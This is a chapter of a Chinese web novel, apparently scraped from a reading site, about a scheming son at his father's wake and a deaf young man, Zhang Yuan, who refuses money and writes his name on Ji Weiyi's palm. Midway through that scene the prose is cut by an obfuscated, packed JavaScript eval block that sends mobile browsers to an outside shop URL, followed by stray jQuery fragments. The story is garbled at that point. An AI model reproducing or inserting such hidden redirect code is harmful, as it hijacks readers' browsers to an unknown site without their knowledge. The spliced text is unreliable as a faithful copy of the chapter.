4. 很烫
    冯成业看见张渊铁皮桶里的鱼和季苇一送来的一模一样,不禁在心里破口大骂。

    草!怎么一个两个都拿这东西来打发他!

    对他而言,这位季少爷人来不来是无所谓的,只要钱到位了就行。

    他老子冯帆,一辈子安分守己没啥大出息,在镇子上当个月薪四千的小职员。

    今生今世离发财最近的时刻,就是机缘巧合之下,给这位娘胎里就带着病的季少爷当了几年“干爹”。

    季苇一在的那几年,季家实在是没少给冯帆送钱。

    虽然是花钱办事,但两个人感情却很深。即便是回家之后,季苇一还和冯帆常有走动。

    只是前些年不知怎么的,忽然就不来往了。

    冯成业早年做生意赔了不少,靠冯帆把窟窿补上之后就一直没有正经工作,手头紧时三番五次追问冯帆关于这位季少爷的事情。

    奈何冯帆一直闪烁其词,最后只解释说什么季苇一前些年大病一场差点没挺过来。

    他原以为是季家迷信,早年给季苇一大老远找了冯帆当干爹是因为听着算命先生的话。

    后来病情反复又算出什么新的说法,于是翻脸无情。

    一直憋到冯帆快不行了,才抱着碰碰运气的想法联系上了季苇一。

    不想对方却很殷切,赶着要来跟冯帆告别。

    他虽然不知道冯帆和这位之间到底发生过什么,然而从季苇一的态度里嗅出些有机可乘的味道。

    连夜请了二人转戏班子办白事,也没抱着多少要给冯帆风光大葬的心思,只想把悲情氛围做足,好从季苇一手里讹上一笔。

    至于张渊,这人在他这儿就跟个扫把星似的,一见就觉得晦气。

    怎么居然还搭上了季苇一的弦儿。

    张渊压根儿没理冯成业,只冲着季苇一点了点头。

    提着鱼走到棺材面前,慢慢跪下来,沉默地在地上磕了三下。

    冯成业忙凑回到季苇一跟前:“呦,这么巧呢,小季你认识这小子?”

    季苇一抱臂站着,没有说话,目光追在张渊身上。

    冯成业干笑两声:“我爸之前的邻居,他妈去得早,他爸又欠债跑了。剩他自己一个半大孩子,耳朵又不好使。你冯叔你是知道的,心太软,从来见不得这样的事儿。平时没少花钱接济他,又给他想办法找了个谋生的买卖。”

    这话倒也是实话,但还有一半冯成业没说:

    冯帆刚招呼张渊来家里的时候,他觉得来了个占便宜的,原本想方设法要把人赶走。

    直到后来有人讨债上门,几个人把冯帆和张渊一并堵在单元楼里。

    冯帆本来护着张渊喊他跑去报警,推搡之中摔在地上。

    张渊从地上捡起半块砖头以一敌五,愣是把对面两个成年男人开了瓢。

    冯成业那会儿正好找来冯帆,隔着老远恰好目睹了这一幕。

    当年的张渊才不到十五岁,实打实的未成年。

    再加上暴力讨债本来也违法,对面没出大事也不敢报警,这事就这么不了了之。

    倒是冯成业,自打见过张渊一语不发骑在人身上猛揍,后脑勺被啤酒瓶子敲了一下也不歇气的架势。

    从此之后不敢招惹他。

    也就这半年,冯帆查出癌来住了院,不愿意把张渊耗在医院里伺候自己,开始主动躲着他。

    冯成业更生怕他背地里要给张渊留什么好处,严防死守不让他俩见面。

    张渊起先总在医院附近徘徊,某天终于不再出现。

    没想到两个月没见,也不知哪里得来的消息,居然能精准地卡在给冯帆守灵的时候找过来。

    来得早不如来得巧,要是真能加入卖惨素材包从季苇一那里挖点钱出来,他倒也没白忍这人好几年。

    见季苇一仍然沉默,冯成业猛地在他肩上拍了一下:“说到底,你俩都算是我爸养大的。要我说,还是因为因为老冯舍不得你,看见小孩就爱往身边带,估计也是想起你来了。他过得不容易,我也希望多帮衬帮衬,只是我这些年手里也紧巴,老冯又没少往这小子身上花——”

    冯成业话音未落,张渊已经从地上爬起来,忽然朝他们走来。

    寒夜里,他半垂着头,慢慢踱到他与季苇一中间,无声无息地将他们隔开了。

    季苇一皱着眉头掸了掸被冯成业拍下去一块的羽绒服,几秒钟的功夫,已经觉得暴露在冷空气里的手背冻得发痛,又揣进口袋里。

    头也不抬地问张渊:“这么说,你也是冯叔的孩子?”

    张渊愣了愣,摇摇头:“我不知道。”

    季苇一于是撇了一眼冯成业。

    对方忙一拍大腿:“哎呀,你这孩子,冯叔对你可不就跟对自己孩子一样,怎么还说不知道呢。都是自家人,他不好意思说罢了!”

    季苇一便笑:“既然是自家人,我也确实该帮忙照顾着。帮一帮冯叔的孩子,也算是我给冯叔尽孝了。”

    冯成业忙不迭附和:“是是是,这么多年走动的少,你冯叔也不容易……”

    他打断他,转头看着张渊:“留个电话,把银行卡号发给我,我叫人给你转十万块钱过去。”

    冯成业差点咬了舌头:”不是,”他刚刚脑子跟着季苇一跑了,稀里糊涂给自己绕进去,这才反应过来钱怎么要揣进张渊兜里:“他一个小孩怎么好拿这么多钱,我的意思是——”

    张渊忽然自下而上抬起眼皮。

    火光照亮他那双瞳仁漆黑的眼睛,冯成业冷不丁和他对视,忽然觉得对方像是埋伏在树荫腐叶中的一条蛇。

    隐于夜色,沉默地吐着信子。

    “我不要钱。”张渊低声说。

    他朝冯成业慢慢逼近过去,一字一顿:“不、要、钱。”

    冯成业后退两步,背过脸去,恶狠狠冲着墙根下啐了口痰。

    冯帆捡回来的小崽子,邪里邪气。

    他不敢再说什么,憋着气回到火盆扔纸,黄纸乱飘,火苗猛然窜得老高,竟舔着了他脑袋前面一绺子头发。

    蛋白质燃烧的焦糊味儿逸散开来,冯成业嗷得一声跳起来,骂骂咧咧。

    季苇一隔着张渊看他跳脚,在黑夜里无声地笑了笑。

    一笑嘴里就灌风,剧烈燃烧的火盆冒着黑烟,吸进肺里,有一种灼热的疼痛。

    燃烧中的纸屑被冷风卷到空中,又化成灰烬落在青年的头发上。

    他没有躲,迎风笔直站着,拿圆圆的后脑勺对着季苇一。

    季苇一再次问出那个早上在湖边没能得到答案的问题:“你叫什么名字?”

    青年人便回过头来:“嗯?”

    他重复一次:“名字,你叫什么名字?”

    对方听人说话时,总把把带着助听器那侧的耳朵偏过来凑近,同时注视说话人的嘴。

    季苇一暂时没有办法判断他到底是通过什么方法获取信息,只能尽量凑近他。

    便看到对方嘴巴的开合,呵出缕缕白气。

    “张渊。”

    季苇一退开一点:“嗯?”

    正逢二人转班子演到高潮,中气十足的一声哭喊。

    嘈杂人声干扰,他只隐约听见了一个“张”字。

    只有对方说话时呼出的一点气流,像蛇信子舔了脸颊,凉飕飕地发痒。

    他把蜷在羽绒服口袋里右手掏出来,脸上蹭了蹭。

    忽然冷不丁被擒起手掌,拢住四指摊开掌心。

    他吓了一跳,本能地要把手抽回来。

    对方带茧的食指已经落在他掌心,描下一笔。

    先是横,然后折下去,起笔重收笔轻,在他掌心的软肉上划出淡淡的白痕。

    “张

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740143|145165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”他写完一字,抬头对着季苇一重复:“张。”

    然后低下头去,又写第二个字。

    长长的一竖划过掌心。

    季苇一不由地跟着他收起手指的动作抬头,念出声来。

    “张渊。”

    尾音在舌尖滚过,上唇轻触下唇。

    弓长张,深渊的渊。

    青年有一对深渊般漆黑的眼睛。

    这是个很适合他的名字。

    季苇一冲他笑笑:“张渊,我记住了。”

    离得这么近,他再次在心中感叹了一次这人确实长得很不错。

    ——是那种放在娱乐圈标准下依旧能吹一吹脸的不错。

    眼睛够亮、眉骨够挺、鼻梁够高,优秀的面部折叠度在昏黄火光的映照下,神情里自带自带几分忧伤。

    传说中的大荧幕故事感脸。

    盯着张渊的脸,季苇一开始走神。

    刚刚他成心恶心冯成业是真,想给钱倒也不是假的。

    冯帆与他的关系复杂程度其实远超旁人所知,真可谓剪不断理还乱,否则也不会多年不联系。

    可人死万事皆空,爱恨情仇皆如逝水东流。

    没见上最后一面,终归还是有点子欲养而亲不待的情结在,只是不想让冯成业这个败家子占了便宜。

    而他对张渊虽然毫不了解,单凭他捞鱼给冯帆上供,多少也让季苇一萌生出几分自己人的亲切感。

    十万块钱客观上而言不算是小数目,对他来说反倒是很偷懒的一种做法。

    给钱打发人嘛,简单直接。

    只是张渊拒绝地坚决,他也不好强求。

    除了给钱,其实也不是没有别的办法。

    只是那样就要让他动动脑子。

    比如……怎么给张渊找份好一点的活儿干?

    不知道是不是被烟熏火燎弄得头昏脑胀,他思绪有一点飘,脑子里忽然出现某位知名文艺片导演在自己面前比比划划的样子。

    “就是在草原上,咵——蹲下去。腿这里,嚯——鼓起来。然后看镜头,这样——助听器就甩下来,挂在脖子上……”

    程秋这人天赋绝佳,不拍电影也满脑子分镜头,说起话来……

    有点抽象。

    那天是碰巧见面随口一提,季苇一当时饿得心慌,注意力有些分散,懒得动脑子去想什么咵——嚯——这样——到底是哪样,只提了成本问题。

    “你想要去找没经过系统表演训练的素人,艺术性上的追求我可以理解。但你应该知道,就算是电影学院里的年轻学生,没有实际经验的人拍起来戏来一般也要耗很多时间,更何况是有障人士。”

    他已经忘了当时程秋怎么跟他解释,但反正并没有被轻易说服,只说如果能找到合适的人选,他再考虑要不要投资。

    后来没过多久就接到了冯成业的电话,一团乱麻地开车上路,早把这事忘在脑后。

    直到现在看着张渊,死去的记忆突然复活。

    也不知道程秋有人选了没有……

    季苇一忽然有点好笑,在这个当口上,他竟还能走神去琢磨工作,冯帆在天有灵八成要后悔养过他几年。

    当然,冯帆有很多理由后悔,相比起来,这还算是小事一件。

    他叹了口气,回过神才发觉自己的手还被张渊紧紧攥着。

    张渊盯着他的脸,皱着眉头若有所思:“你……”

    季苇一手心见汗,有些尴尬地往回抽了一抽。

    张渊松手,猛地把手贴在他的颈间。

    冰冷让季苇一打了个哆嗦,一巴掌拍在他手背上。

    打得很重,“啪”地脆响。

    张渊并没有把手挪开:“很烫。”

    “你身上很烫。”

    季苇一这才明白头晕是因为什么。

    他在发烧。